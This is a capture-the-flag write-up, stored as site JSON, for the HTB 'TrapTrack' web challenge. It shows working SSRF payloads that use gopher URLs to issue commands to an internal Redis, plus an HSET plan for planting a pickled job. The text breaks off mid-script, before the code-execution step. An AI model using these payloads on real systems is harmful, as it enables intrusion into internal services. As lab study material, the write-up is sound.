[{"data":1,"prerenderedAt":2171},["ShallowReactive",2],{"content-query-QLflHgiKLI":3},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":7,"head":9,"body":28,"_type":2165,"_id":2166,"_source":2167,"_file":2168,"_stem":2169,"_extension":2170},"/writeups/traptrack","writeups",false,"","TrapTrack",{"title":8,"description":10,"keywords":11,"slug":12,"image":13,"date":14,"meta":15},"TrapTrack challenge, was a hard web challenge from HTB cyber apocalypse. It was about SSRF, python unpickle and redis.","web,redis,unpickle,ssrf","traptrack","https://res.cloudinary.com/dmju5zuhr/image/upload/v1743778740/writeups/cyber_appo_2023.webp","2023-03-19",[16,17,18,19,21,23,24,26],{"og:image":13},{"og:title":8},{"og:description":10},{"og:type":20},"article",{"og:url":22},"https://owalid.com/traptrack",{"description":10},{"title":25},"TrapTrack writeup",{"keywords":27},"web,redis,unpickle,ssrf,htb,ctf",{"type":29,"children":30,"toc":2158},"root",[31,38,45,51,56,78,83,89,94,114,127,133,137,142,181,187,192,664,680,691,695,707,712,718,727,737,742,753,758,763,774,779,790,795,806,811,816,827,832,846,850,855,860,1194,1199,1210,1215,1443,1448,1459,1493,1498,1509,1514,1525,1530,1536,1557,1746,1758,1763,1768,1773,1778,2097,2108,2113,2124,2135,2148,2152],{"type":32,"tag":33,"props":34,"children":35},"element","h1",{"id":12},[36],{"type":37,"value":8},"text",{"type":32,"tag":39,"props":40,"children":42},"h2",{"id":41},"introduction",[43],{"type":37,"value":44},"Introduction",{"type":32,"tag":46,"props":47,"children":48},"p",{},[49],{"type":37,"value":50},"TrapTrack was a web hard challenge from HTB cyber apocalypse 2023.",{"type":32,"tag":46,"props":52,"children":53},{},[54],{"type":37,"value":55},"This challenge is in white box, meaning we have access to the source code of the website.",{"type":32,"tag":46,"props":57,"children":58},{},[59,61,68,70,76],{"type":37,"value":60},"We can see in the DockerFile that the flag is stored in the directory ",{"type":32,"tag":62,"props":63,"children":65},"code",{"className":64},[],[66],{"type":37,"value":67},"/root",{"type":37,"value":69}," and that they give us permission on an executable file called ",{"type":32,"tag":62,"props":71,"children":73},{"className":72},[],[74],{"type":37,"value":75},"/readflag",{"type":37,"value":77},". This gives us a hint on the type of attack we need to perform.",{"type":32,"tag":46,"props":79,"children":80},{},[81],{"type":37,"value":82},"In other words, we need to have a RCE (Remote Code Execution). Without this, we will not be able to read the flag.",{"type":32,"tag":39,"props":84,"children":86},{"id":85},"recon",[87],{"type":37,"value":88},"Recon",{"type":32,"tag":46,"props":90,"children":91},{},[92],{"type":37,"value":93},"The application has three services: a Flask web service, a SQLite database, and a Redis cache service.",{"type":32,"tag":95,"props":96,"children":97},"ul",{},[98,104,109],{"type":32,"tag":99,"props":100,"children":101},"li",{},[102],{"type":37,"value":103},"The web service has a login page and a page for entering a URL to check if it responds properly.",{"type":32,"tag":99,"props":105,"children":106},{},[107],{"type":37,"value":108},"SQLite is used to store information about URLs and users.",{"type":32,"tag":99,"props":110,"children":111},{},[112],{"type":37,"value":113},"Redis is used to cache the list of \"jobs\" corresponding to a request that needs to be performed in the future or not, as well as to store its status.",{"type":32,"tag":46,"props":115,"children":116},{},[117,119,125],{"type":37,"value":118},"We have the user admin's credentials, which are: ",{"type":32,"tag":62,"props":120,"children":122},{"className":121},[],[123],{"type":37,"value":124},"admin:admin",{"type":37,"value":126},".",{"type":32,"tag":128,"props":129,"children":132},"img",{"width":130,"src":131},1031,"https://user-images.githubusercontent.com/28403617/227371182-a29df4a9-c5c5-4405-a7d9-af679789ff2a.png",[],{"type":32,"tag":128,"props":134,"children":136},{"width":130,"src":135},"https://user-images.githubusercontent.com/28403617/227371190-7f325e53-60cf-41ed-aed1-35906d13cdad.png",[],{"type":32,"tag":46,"props":138,"children":139},{},[140],{"type":37,"value":141},"On the server, we have two interesting routes:",{"type":32,"tag":95,"props":143,"children":144},{},[145,164],{"type":32,"tag":99,"props":146,"children":147},{},[148,154,156,162],{"type":32,"tag":149,"props":150,"children":151},"span",{},[152],{"type":37,"value":153},"POST",{"type":37,"value":155}," ",{"type":32,"tag":62,"props":157,"children":159},{"className":158},[],[160],{"type":37,"value":161},"/track/add",{"type":37,"value":163}," which allows adding a new URL to call.",{"type":32,"tag":99,"props":165,"children":166},{},[167,172,173,179],{"type":32,"tag":149,"props":168,"children":169},{},[170],{"type":37,"value":171},"GET",{"type":37,"value":155},{"type":32,"tag":62,"props":174,"children":176},{"className":175},[],[177],{"type":37,"value":178},"/tracks/\u003Cint:job_id>/status",{"type":37,"value":180}," which allows verifying the state of the URL that was called.",{"type":32,"tag":39,"props":182,"children":184},{"id":183},"ssrf",[185],{"type":37,"value":186},"SSRF ?",{"type":32,"tag":46,"props":188,"children":189},{},[190],{"type":37,"value":191},"The URL addition part is located in the file healthcheck.py, and here is the code:",{"type":32,"tag":193,"props":194,"children":196},"code-card",{"lang":195},"python",[197],{"type":32,"tag":198,"props":199,"children":202},"pre",{"code":200,"language":195,"meta":7,"className":201,"style":7},"import pycurl\n\ndef request(url):\n    response = False\n    try:\n        c = pycurl.Curl()\n        c.setopt(c.URL, url)\n        c.setopt(c.TIMEOUT, 5)\n        c.setopt(c.VERBOSE, True)\n        c.setopt(c.FOLLOWLOCATION, True)\n\n        response = c.perform_rb().decode('utf-8', errors='ignore')\n        c.close()\n    finally:\n        return response\n","language-python shiki shiki-themes vitesse-dark",[203],{"type":32,"tag":62,"props":204,"children":205},{"__ignoreMap":7},[206,223,233,265,284,298,330,382,429,475,520,528,616,637,650],{"type":32,"tag":149,"props":207,"children":210},{"class":208,"line":209},"line",1,[211,217],{"type":32,"tag":149,"props":212,"children":214},{"style":213},"--shiki-default:#4D9375",[215],{"type":37,"value":216},"import",{"type":32,"tag":149,"props":218,"children":220},{"style":219},"--shiki-default:#DBD7CAEE",[221],{"type":37,"value":222}," pycurl\n",{"type":32,"tag":149,"props":224,"children":226},{"class":208,"line":225},2,[227],{"type":32,"tag":149,"props":228,"children":230},{"emptyLinePlaceholder":229},true,[231],{"type":37,"value":232},"\n",{"type":32,"tag":149,"props":234,"children":236},{"class":208,"line":235},3,[237,243,249,255,260],{"type":32,"tag":149,"props":238,"children":240},{"style":239},"--shiki-default:#CB7676",[241],{"type":37,"value":242},"def",{"type":32,"tag":149,"props":244,"children":246},{"style":245},"--shiki-default:#80A665",[247],{"type":37,"value":248}," request",{"type":32,"tag":149,"props":250,"children":252},{"style":251},"--shiki-default:#666666",[253],{"type":37,"value":254},"(",{"type":32,"tag":149,"props":256,"children":257},{"style":219},[258],{"type":37,"value":259},"url",{"type":32,"tag":149,"props":261,"children":262},{"style":251},[263],{"type":37,"value":264},"):\n",{"type":32,"tag":149,"props":266,"children":268},{"class":208,"line":267},4,[269,274,279],{"type":32,"tag":149,"props":270,"children":271},{"style":219},[272],{"type":37,"value":273},"    response ",{"type":32,"tag":149,"props":275,"children":276},{"style":251},[277],{"type":37,"value":278},"=",{"type":32,"tag":149,"props":280,"children":281},{"style":213},[282],{"type":37,"value":283}," False\n",{"type":32,"tag":149,"props":285,"children":287},{"class":208,"line":286},5,[288,293],{"type":32,"tag":149,"props":289,"children":290},{"style":213},[291],{"type":37,"value":292},"    try",{"type":32,"tag":149,"props":294,"children":295},{"style":251},[296],{"type":37,"value":297},":\n",{"type":32,"tag":149,"props":299,"children":301},{"class":208,"line":300},6,[302,307,311,316,320,325],{"type":32,"tag":149,"props":303,"children":304},{"style":219},[305],{"type":37,"value":306},"        c ",{"type":32,"tag":149,"props":308,"children":309},{"style":251},[310],{"type":37,"value":278},{"type":32,"tag":149,"props":312,"children":313},{"style":219},[314],{"type":37,"value":315}," pycurl",{"type":32,"tag":149,"props":317,"children":318},{"style":251},[319],{"type":37,"value":126},{"type":32,"tag":149,"props":321,"children":322},{"style":219},[323],{"type":37,"value":324},"Curl",{"type":32,"tag":149,"props":326,"children":327},{"style":251},[328],{"type":37,"value":329},"()\n",{"type":32,"tag":149,"props":331,"children":333},{"class":208,"line":332},7,[334,339,343,348,352,357,361,367,372,377],{"type":32,"tag":149,"props":335,"children":336},{"style":219},[337],{"type":37,"value":338},"        c",{"type":32,"tag":149,"props":340,"children":341},{"style":251},[342],{"type":37,"value":126},{"type":32,"tag":149,"props":344,"children":345},{"style":219},[346],{"type":37,"value":347},"setopt",{"type":32,"tag":149,"props":349,"children":350},{"style":251},[351],{"type":37,"value":254},{"type":32,"tag":149,"props":353,"children":354},{"style":219},[355],{"type":37,"value":356},"c",{"type":32,"tag":149,"props":358,"children":359},{"style":251},[360],{"type":37,"value":126},{"type":32,"tag":149,"props":362,"children":364},{"style":363},"--shiki-default:#C99076",[365],{"type":37,"value":366},"URL",{"type":32,"tag":149,"props":368,"children":369},{"style":251},[370],{"type":37,"value":371},",",{"type":32,"tag":149,"props":373,"children":374},{"style":219},[375],{"type":37,"value":376}," url",{"type":32,"tag":149,"props":378,"children":379},{"style":251},[380],{"type":37,"value":381},")\n",{"type":32,"tag":149,"props":383,"children":385},{"class":208,"line":384},8,[386,390,394,398,402,406,410,415,419,425],{"type":32,"tag":149,"props":387,"children":388},{"style":219},[389],{"type":37,"value":338},{"type":32,"tag":149,"props":391,"children":392},{"style":251},[393],{"type":37,"value":126},{"type":32,"tag":149,"props":395,"children":396},{"style":219},[397],{"type":37,"value":347},{"type":32,"tag":149,"props":399,"children":400},{"style":251},[401],{"type":37,"value":254},{"type":32,"tag":149,"props":403,"children":404},{"style":219},[405],{"type":37,"value":356},{"type":32,"tag":149,"props":407,"children":408},{"style":251},[409],{"type":37,"value":126},{"type":32,"tag":149,"props":411,"children":412},{"style":363},[413],{"type":37,"value":414},"TIMEOUT",{"type":32,"tag":149,"props":416,"children":417},{"style":251},[418],{"type":37,"value":371},{"type":32,"tag":149,"props":420,"children":422},{"style":421},"--shiki-default:#4C9A91",[423],{"type":37,"value":424}," 5",{"type":32,"tag":149,"props":426,"children":427},{"style":251},[428],{"type":37,"value":381},{"type":32,"tag":149,"props":430,"children":432},{"class":208,"line":431},9,[433,437,441,445,449,453,457,462,466,471],{"type":32,"tag":149,"props":434,"children":435},{"style":219},[436],{"type":37,"value":338},{"type":32,"tag":149,"props":438,"children":439},{"style":251},[440],{"type":37,"value":126},{"type":32,"tag":149,"props":442,"children":443},{"style":219},[444],{"type":37,"value":347},{"type":32,"tag":149,"props":446,"children":447},{"style":251},[448],{"type":37,"value":254},{"type":32,"tag":149,"props":450,"children":451},{"style":219},[452],{"type":37,"value":356},{"type":32,"tag":149,"props":454,"children":455},{"style":251},[456],{"type":37,"value":126},{"type":32,"tag":149,"props":458,"children":459},{"style":363},[460],{"type":37,"value":461},"VERBOSE",{"type":32,"tag":149,"props":463,"children":464},{"style":251},[465],{"type":37,"value":371},{"type":32,"tag":149,"props":467,"children":468},{"style":213},[469],{"type":37,"value":470}," True",{"type":32,"tag":149,"props":472,"children":473},{"style":251},[474],{"type":37,"value":381},{"type":32,"tag":149,"props":476,"children":478},{"class":208,"line":477},10,[479,483,487,491,495,499,503,508,512,516],{"type":32,"tag":149,"props":480,"children":481},{"style":219},[482],{"type":37,"value":338},{"type":32,"tag":149,"props":484,"children":485},{"style":251},[486],{"type":37,"value":126},{"type":32,"tag":149,"props":488,"children":489},{"style":219},[490],{"type":37,"value":347},{"type":32,"tag":149,"props":492,"children":493},{"style":251},[494],{"type":37,"value":254},{"type":32,"tag":149,"props":496,"children":497},{"style":219},[498],{"type":37,"value":356},{"type":32,"tag":149,"props":500,"children":501},{"style":251},[502],{"type":37,"value":126},{"type":32,"tag":149,"props":504,"children":505},{"style":363},[506],{"type":37,"value":507},"FOLLOWLOCATION",{"type":32,"tag":149,"props":509,"children":510},{"style":251},[511],{"type":37,"value":371},{"type":32,"tag":149,"props":513,"children":514},{"style":213},[515],{"type":37,"value":470},{"type":32,"tag":149,"props":517,"children":518},{"style":251},[519],{"type":37,"value":381},{"type":32,"tag":149,"props":521,"children":523},{"class":208,"line":522},11,[524],{"type":32,"tag":149,"props":525,"children":526},{"emptyLinePlaceholder":229},[527],{"type":37,"value":232},{"type":32,"tag":149,"props":529,"children":531},{"class":208,"line":530},12,[532,537,541,546,550,555,560,565,569,575,581,585,589,595,599,603,608,612],{"type":32,"tag":149,"props":533,"children":534},{"style":219},[535],{"type":37,"value":536},"        response ",{"type":32,"tag":149,"props":538,"children":539},{"style":251},[540],{"type":37,"value":278},{"type":32,"tag":149,"props":542,"children":543},{"style":219},[544],{"type":37,"value":545}," c",{"type":32,"tag":149,"props":547,"children":548},{"style":251},[549],{"type":37,"value":126},{"type":32,"tag":149,"props":551,"children":552},{"style":219},[553],{"type":37,"value":554},"perform_rb",{"type":32,"tag":149,"props":556,"children":557},{"style":251},[558],{"type":37,"value":559},"().",{"type":32,"tag":149,"props":561,"children":562},{"style":219},[563],{"type":37,"value":564},"decode",{"type":32,"tag":149,"props":566,"children":567},{"style":251},[568],{"type":37,"value":254},{"type":32,"tag":149,"props":570,"children":572},{"style":571},"--shiki-default:#C98A7D77",[573],{"type":37,"value":574},"'",{"type":32,"tag":149,"props":576,"children":578},{"style":577},"--shiki-default:#C98A7D",[579],{"type":37,"value":580},"utf-8",{"type":32,"tag":149,"props":582,"children":583},{"style":571},[584],{"type":37,"value":574},{"type":32,"tag":149,"props":586,"children":587},{"style":251},[588],{"type":37,"value":371},{"type":32,"tag":149,"props":590,"children":592},{"style":591},"--shiki-default:#BD976A",[593],{"type":37,"value":594}," errors",{"type":32,"tag":149,"props":596,"children":597},{"style":251},[598],{"type":37,"value":278},{"type":32,"tag":149,"props":600,"children":601},{"style":571},[602],{"type":37,"value":574},{"type":32,"tag":149,"props":604,"children":605},{"style":577},[606],{"type":37,"value":607},"ignore",{"type":32,"tag":149,"props":609,"children":610},{"style":571},[611],{"type":37,"value":574},{"type":32,"tag":149,"props":613,"children":614},{"style":251},[615],{"type":37,"value":381},{"type":32,"tag":149,"props":617,"children":619},{"class":208,"line":618},13,[620,624,628,633],{"type":32,"tag":149,"props":621,"children":622},{"style":219},[623],{"type":37,"value":338},{"type":32,"tag":149,"props":625,"children":626},{"style":251},[627],{"type":37,"value":126},{"type":32,"tag":149,"props":629,"children":630},{"style":219},[631],{"type":37,"value":632},"close",{"type":32,"tag":149,"props":634,"children":635},{"style":251},[636],{"type":37,"value":329},{"type":32,"tag":149,"props":638,"children":640},{"class":208,"line":639},14,[641,646],{"type":32,"tag":149,"props":642,"children":643},{"style":213},[644],{"type":37,"value":645},"    finally",{"type":32,"tag":149,"props":647,"children":648},{"style":251},[649],{"type":37,"value":297},{"type":32,"tag":149,"props":651,"children":653},{"class":208,"line":652},15,[654,659],{"type":32,"tag":149,"props":655,"children":656},{"style":213},[657],{"type":37,"value":658},"        return",{"type":32,"tag":149,"props":660,"children":661},{"style":219},[662],{"type":37,"value":663}," response\n",{"type":32,"tag":46,"props":665,"children":666},{},[667,669,678],{"type":37,"value":668},"We can test the URL call, with ",{"type":32,"tag":670,"props":671,"children":675},"a",{"href":672,"rel":673},"https://github.com/owalid/express-sec/",[674],"nofollow",[676],{"type":37,"value":677},"express-sec",{"type":37,"value":679}," and Ngrok. If we enter a URL that belongs to us, we can quickly see that the site sends us an HTTP request.",{"type":32,"tag":193,"props":681,"children":682},{},[683],{"type":32,"tag":198,"props":684,"children":686},{"code":685},"POST /api/tracks/add HTTP/1.1\nHost: localhost:1337\nReferer: http://localhost:1337/admin/\nContent-Type: application/json\nContent-Length: 66\nOrigin: http://localhost:1337\nConnection: close\nCookie: session=8e3c330d-3f69-475a-9924-9638f040b30e\n\n{\"trapName\":\"test\",\"trapURL\":\"http://b536-91-69-133-214.ngrok.io\"}\n",[687],{"type":32,"tag":62,"props":688,"children":689},{"__ignoreMap":7},[690],{"type":37,"value":685},{"type":32,"tag":128,"props":692,"children":694},{"width":130,"src":693},"https://user-images.githubusercontent.com/28403617/227356280-ac9d4799-e53e-4dea-9a6c-9998066ced0f.png",[],{"type":32,"tag":46,"props":696,"children":697},{},[698,700,706],{"type":37,"value":699},"If you pay attention to the payload, you will realize that we specify the protocol, in our case ",{"type":32,"tag":62,"props":701,"children":703},{"className":702},[],[704],{"type":37,"value":705},"http",{"type":37,"value":126},{"type":32,"tag":46,"props":708,"children":709},{},[710],{"type":37,"value":711},"We now know that the application contains a Redis service, which could be accessed via the Gopher protocol to perform requests, modify keys, retrieve keys, etc.",{"type":32,"tag":39,"props":713,"children":715},{"id":714},"call-redis-with-gopher-protocol",[716],{"type":37,"value":717},"Call redis with gopher protocol",{"type":32,"tag":719,"props":720,"children":721},"blockquote",{},[722],{"type":32,"tag":46,"props":723,"children":724},{},[725],{"type":37,"value":726},"\"The Gopher protocol is an early protocol for distributing, searching, and retrieving documents over the internet. It was developed in the early 1990s at the University of Minnesota as an alternative to the World Wide Web (WWW), which was still in its early stages at the time. [...] The Gopher protocol operates by organizing information into a hierarchical structure, with directories and subdirectories that contain files, similar to a file system on a computer. This allows users to easily navigate and search for information, as well as retrieve and download files.\"",{"type":32,"tag":46,"props":728,"children":729},{},[730],{"type":32,"tag":670,"props":731,"children":734},{"href":732,"rel":733},"https://en.wikipedia.org/wiki/Gopher_(protocol)",[674],[735],{"type":37,"value":736},"source",{"type":32,"tag":46,"props":738,"children":739},{},[740],{"type":37,"value":741},"An example of utilisation:",{"type":32,"tag":193,"props":743,"children":744},{},[745],{"type":32,"tag":198,"props":746,"children":748},{"code":747},"gopher://\u003CURL>:\u003CPORT>/_\u003CURL_ENCODED_COMMAND>%0A\n",[749],{"type":32,"tag":62,"props":750,"children":751},{"__ignoreMap":7},[752],{"type":37,"value":747},{"type":32,"tag":46,"props":754,"children":755},{},[756],{"type":37,"value":757},"If we try to transmit a request to get information from the redis server, using the following redis request, we will have a proof that the python service is able to call redis.",{"type":32,"tag":46,"props":759,"children":760},{},[761],{"type":37,"value":762},"Our raw payload in redis console will be:",{"type":32,"tag":193,"props":764,"children":765},{},[766],{"type":32,"tag":198,"props":767,"children":769},{"code":768},"redis> INFO\nquit\n",[770],{"type":32,"tag":62,"props":771,"children":772},{"__ignoreMap":7},[773],{"type":37,"value":768},{"type":32,"tag":46,"props":775,"children":776},{},[777],{"type":37,"value":778},"We need to encode this as url encode:",{"type":32,"tag":193,"props":780,"children":781},{},[782],{"type":32,"tag":198,"props":783,"children":785},{"code":784},"INFO%0D%0Aquit%0D%0A\n",[786],{"type":32,"tag":62,"props":787,"children":788},{"__ignoreMap":7},[789],{"type":37,"value":784},{"type":32,"tag":46,"props":791,"children":792},{},[793],{"type":37,"value":794},"Our final payload to get info will be:",{"type":32,"tag":193,"props":796,"children":797},{},[798],{"type":32,"tag":198,"props":799,"children":801},{"code":800},"{\"trapName\":\"hello\",\"trapURL\":\"gopher://127.0.0.1:6379/_%0D%0AINFO%0D%0Aquit%0D%0A\"}\n",[802],{"type":32,"tag":62,"props":803,"children":804},{"__ignoreMap":7},[805],{"type":37,"value":800},{"type":32,"tag":46,"props":807,"children":808},{},[809],{"type":37,"value":810},"If we place some debug prints in the return of pycurl requests in the code base, we can see that the python service is able to call redis.",{"type":32,"tag":46,"props":812,"children":813},{},[814],{"type":37,"value":815},"And we have the redis info:",{"type":32,"tag":193,"props":817,"children":818},{},[819],{"type":32,"tag":198,"props":820,"children":822},{"code":821},"$3290\n# Server\nredis_version:5.0.14\nredis_git_sha1:00000000\nredis_git_dirty:0\nredis_build_id:17cc4bf7c682c268\nredis_mode:standalone\nos:Linux 5.10.76-linuxkit x86_64\narch_bits:64\n.......\n# Cluster\ncluster_enabled:0\n\n# Keyspace\ndb0:keys=2,expires=0,avg_ttl=0\n\n+OK\n",[823],{"type":32,"tag":62,"props":824,"children":825},{"__ignoreMap":7},[826],{"type":37,"value":821},{"type":32,"tag":46,"props":828,"children":829},{},[830],{"type":37,"value":831},"At this point, we know that it's possible to contact the Redis service via an SSRF vulnerability.",{"type":32,"tag":46,"props":833,"children":834},{},[835,837,844],{"type":37,"value":836},"Our goal now is to pollute the Redis keys. If we take a look at Redis, we can see that the Python client uses hash keys. We can see in the ",{"type":32,"tag":670,"props":838,"children":841},{"href":839,"rel":840},"https://redis.io/commands/hset/",[674],[842],{"type":37,"value":843},"Redis documentation",{"type":37,"value":845}," how to interact with this type of keys.",{"type":32,"tag":128,"props":847,"children":849},{"width":130,"src":848},"https://user-images.githubusercontent.com/28403617/227360017-52291945-f235-4643-b4e4-0b9f78fcf0f7.png",[],{"type":32,"tag":46,"props":851,"children":852},{},[853],{"type":37,"value":854},"If we take an example of a Redis query in the code, we can easily guess the values to use in our malicious query.",{"type":32,"tag":46,"props":856,"children":857},{},[858],{"type":37,"value":859},"Here is an example of a Redis query in the code:",{"type":32,"tag":193,"props":861,"children":862},{"lang":195},[863],{"type":32,"tag":198,"props":864,"children":866},{"code":865,"language":195,"meta":7,"className":201,"style":7},"config = {\n    'REDIS_HOST' : '127.0.0.1',\n    'REDIS_PORT' : 6379,\n    'REDIS_JOBS' : 'jobs',\n    'REDIS_QUEUE' : 'jobqueue',\n    'REDIS_NUM_JOBS' : 100\n}\n# ...\nstore.hset(env('REDIS_JOBS'), job['job_id'], base64.b64encode(pickle.dumps(job)))\n",[867],{"type":32,"tag":62,"props":868,"children":869},{"__ignoreMap":7},[870,887,928,957,994,1031,1056,1064,1073],{"type":32,"tag":149,"props":871,"children":872},{"class":208,"line":209},[873,878,882],{"type":32,"tag":149,"props":874,"children":875},{"style":219},[876],{"type":37,"value":877},"config ",{"type":32,"tag":149,"props":879,"children":880},{"style":251},[881],{"type":37,"value":278},{"type":32,"tag":149,"props":883,"children":884},{"style":251},[885],{"type":37,"value":886}," {\n",{"type":32,"tag":149,"props":888,"children":889},{"class":208,"line":225},[890,895,900,904,909,914,919,923],{"type":32,"tag":149,"props":891,"children":892},{"style":571},[893],{"type":37,"value":894},"    '",{"type":32,"tag":149,"props":896,"children":897},{"style":577},[898],{"type":37,"value":899},"REDIS_HOST",{"type":32,"tag":149,"props":901,"children":902},{"style":571},[903],{"type":37,"value":574},{"type":32,"tag":149,"props":905,"children":906},{"style":251},[907],{"type":37,"value":908}," :",{"type":32,"tag":149,"props":910,"children":911},{"style":571},[912],{"type":37,"value":913}," '",{"type":32,"tag":149,"props":915,"children":916},{"style":577},[917],{"type":37,"value":918},"127.0.0.1",{"type":32,"tag":149,"props":920,"children":921},{"style":571},[922],{"type":37,"value":574},{"type":32,"tag":149,"props":924,"children":925},{"style":251},[926],{"type":37,"value":927},",\n",{"type":32,"tag":149,"props":929,"children":930},{"class":208,"line":235},[931,935,940,944,948,953],{"type":32,"tag":149,"props":932,"children":933},{"style":571},[934],{"type":37,"value":894},{"type":32,"tag":149,"props":936,"children":937},{"style":577},[938],{"type":37,"value":939},"REDIS_PORT",{"type":32,"tag":149,"props":941,"children":942},{"style":571},[943],{"type":37,"value":574},{"type":32,"tag":149,"props":945,"children":946},{"style":251},[947],{"type":37,"value":908},{"type":32,"tag":149,"props":949,"children":950},{"style":421},[951],{"type":37,"value":952}," 6379",{"type":32,"tag":149,"props":954,"children":955},{"style":251},[956],{"type":37,"value":927},{"type":32,"tag":149,"props":958,"children":959},{"class":208,"line":267},[960,964,969,973,977,981,986,990],{"type":32,"tag":149,"props":961,"children":962},{"style":571},[963],{"type":37,"value":894},{"type":32,"tag":149,"props":965,"children":966},{"style":577},[967],{"type":37,"value":968},"REDIS_JOBS",{"type":32,"tag":149,"props":970,"children":971},{"style":571},[972],{"type":37,"value":574},{"type":32,"tag":149,"props":974,"children":975},{"style":251},[976],{"type":37,"value":908},{"type":32,"tag":149,"props":978,"children":979},{"style":571},[980],{"type":37,"value":913},{"type":32,"tag":149,"props":982,"children":983},{"style":577},[984],{"type":37,"value":985},"jobs",{"type":32,"tag":149,"props":987,"children":988},{"style":571},[989],{"type":37,"value":574},{"type":32,"tag":149,"props":991,"children":992},{"style":251},[993],{"type":37,"value":927},{"type":32,"tag":149,"props":995,"children":996},{"class":208,"line":286},[997,1001,1006,1010,1014,1018,1023,1027],{"type":32,"tag":149,"props":998,"children":999},{"style":571},[1000],{"type":37,"value":894},{"type":32,"tag":149,"props":1002,"children":1003},{"style":577},[1004],{"type":37,"value":1005},"REDIS_QUEUE",{"type":32,"tag":149,"props":1007,"children":1008},{"style":571},[1009],{"type":37,"value":574},{"type":32,"tag":149,"props":1011,"children":1012},{"style":251},[1013],{"type":37,"value":908},{"type":32,"tag":149,"props":1015,"children":1016},{"style":571},[1017],{"type":37,"value":913},{"type":32,"tag":149,"props":1019,"children":1020},{"style":577},[1021],{"type":37,"value":1022},"jobqueue",{"type":32,"tag":149,"props":1024,"children":1025},{"style":571},[1026],{"type":37,"value":574},{"type":32,"tag":149,"props":1028,"children":1029},{"style":251},[1030],{"type":37,"value":927},{"type":32,"tag":149,"props":1032,"children":1033},{"class":208,"line":300},[1034,1038,1043,1047,1051],{"type":32,"tag":149,"props":1035,"children":1036},{"style":571},[1037],{"type":37,"value":894},{"type":32,"tag":149,"props":1039,"children":1040},{"style":577},[1041],{"type":37,"value":1042},"REDIS_NUM_JOBS",{"type":32,"tag":149,"props":1044,"children":1045},{"style":571},[1046],{"type":37,"value":574},{"type":32,"tag":149,"props":1048,"children":1049},{"style":251},[1050],{"type":37,"value":908},{"type":32,"tag":149,"props":1052,"children":1053},{"style":421},[1054],{"type":37,"value":1055}," 100\n",{"type":32,"tag":149,"props":1057,"children":1058},{"class":208,"line":332},[1059],{"type":32,"tag":149,"props":1060,"children":1061},{"style":251},[1062],{"type":37,"value":1063},"}\n",{"type":32,"tag":149,"props":1065,"children":1066},{"class":208,"line":384},[1067],{"type":32,"tag":149,"props":1068,"children":1070},{"style":1069},"--shiki-default:#758575DD",[1071],{"type":37,"value":1072},"# ...\n",{"type":32,"tag":149,"props":1074,"children":1075},{"class":208,"line":431},[1076,1081,1085,1090,1094,1099,1103,1107,1111,1115,1120,1125,1130,1134,1139,1143,1148,1153,1157,1162,1166,1171,1175,1180,1184,1189],{"type":32,"tag":149,"props":1077,"children":1078},{"style":219},[1079],{"type":37,"value":1080},"store",{"type":32,"tag":149,"props":1082,"children":1083},{"style":251},[1084],{"type":37,"value":126},{"type":32,"tag":149,"props":1086,"children":1087},{"style":219},[1088],{"type":37,"value":1089},"hset",{"type":32,"tag":149,"props":1091,"children":1092},{"style":251},[1093],{"type":37,"value":254},{"type":32,"tag":149,"props":1095,"children":1096},{"style":219},[1097],{"type":37,"value":1098},"env",{"type":32,"tag":149,"props":1100,"children":1101},{"style":251},[1102],{"type":37,"value":254},{"type":32,"tag":149,"props":1104,"children":1105},{"style":571},[1106],{"type":37,"value":574},{"type":32,"tag":149,"props":1108,"children":1109},{"style":577},[1110],{"type":37,"value":968},{"type":32,"tag":149,"props":1112,"children":1113},{"style":571},[1114],{"type":37,"value":574},{"type":32,"tag":149,"props":1116,"children":1117},{"style":251},[1118],{"type":37,"value":1119},"),",{"type":32,"tag":149,"props":1121,"children":1122},{"style":219},[1123],{"type":37,"value":1124}," job",{"type":32,"tag":149,"props":1126,"children":1127},{"style":251},[1128],{"type":37,"value":1129},"[",{"type":32,"tag":149,"props":1131,"children":1132},{"style":571},[1133],{"type":37,"value":574},{"type":32,"tag":149,"props":1135,"children":1136},{"style":577},[1137],{"type":37,"value":1138},"job_id",{"type":32,"tag":149,"props":1140,"children":1141},{"style":571},[1142],{"type":37,"value":574},{"type":32,"tag":149,"props":1144,"children":1145},{"style":251},[1146],{"type":37,"value":1147},"],",{"type":32,"tag":149,"props":1149,"children":1150},{"style":219},[1151],{"type":37,"value":1152}," base64",{"type":32,"tag":149,"props":1154,"children":1155},{"style":251},[1156],{"type":37,"value":126},{"type":32,"tag":149,"props":1158,"children":1159},{"style":219},[1160],{"type":37,"value":1161},"b64encode",{"type":32,"tag":149,"props":1163,"children":1164},{"style":251},[1165],{"type":37,"value":254},{"type":32,"tag":149,"props":1167,"children":1168},{"style":219},[1169],{"type":37,"value":1170},"pickle",{"type":32,"tag":149,"props":1172,"children":1173},{"style":251},[1174],{"type":37,"value":126},{"type":32,"tag":149,"props":1176,"children":1177},{"style":219},[1178],{"type":37,"value":1179},"dumps",{"type":32,"tag":149,"props":1181,"children":1182},{"style":251},[1183],{"type":37,"value":254},{"type":32,"tag":149,"props":1185,"children":1186},{"style":219},[1187],{"type":37,"value":1188},"job",{"type":32,"tag":149,"props":1190,"children":1191},{"style":251},[1192],{"type":37,"value":1193},")))\n",{"type":32,"tag":46,"props":1195,"children":1196},{},[1197],{"type":37,"value":1198},"From this example, we know that our Redis query will look like this:",{"type":32,"tag":193,"props":1200,"children":1201},{},[1202],{"type":32,"tag":198,"props":1203,"children":1205},{"code":1204},"HSET jobs \u003CJOB_ID> \u003CBASE64_ENCODED_JOB>\n",[1206],{"type":32,"tag":62,"props":1207,"children":1208},{"__ignoreMap":7},[1209],{"type":37,"value":1204},{"type":32,"tag":46,"props":1211,"children":1212},{},[1213],{"type":37,"value":1214},"We will use this script that allows generating payloads more easily:",{"type":32,"tag":193,"props":1216,"children":1217},{"lang":195},[1218],{"type":32,"tag":198,"props":1219,"children":1221},{"code":1220,"language":195,"meta":7,"className":201,"style":7},"# create_redis_payload.py\nredis_cmd = \"\"\"\u003CPAYLOAD>\"\"\"\nformted_redis_cmd = redis_cmd.replace('\\r','').replace('\\n','%0D%0A').replace(' ','%20')\nprint(f\"gopher://127.0.0.1:6379/_{formted_redis_cmd}\")\n",[1222],{"type":32,"tag":62,"props":1223,"children":1224},{"__ignoreMap":7},[1225,1233,1260,1396],{"type":32,"tag":149,"props":1226,"children":1227},{"class":208,"line":209},[1228],{"type":32,"tag":149,"props":1229,"children":1230},{"style":1069},[1231],{"type":37,"value":1232},"# 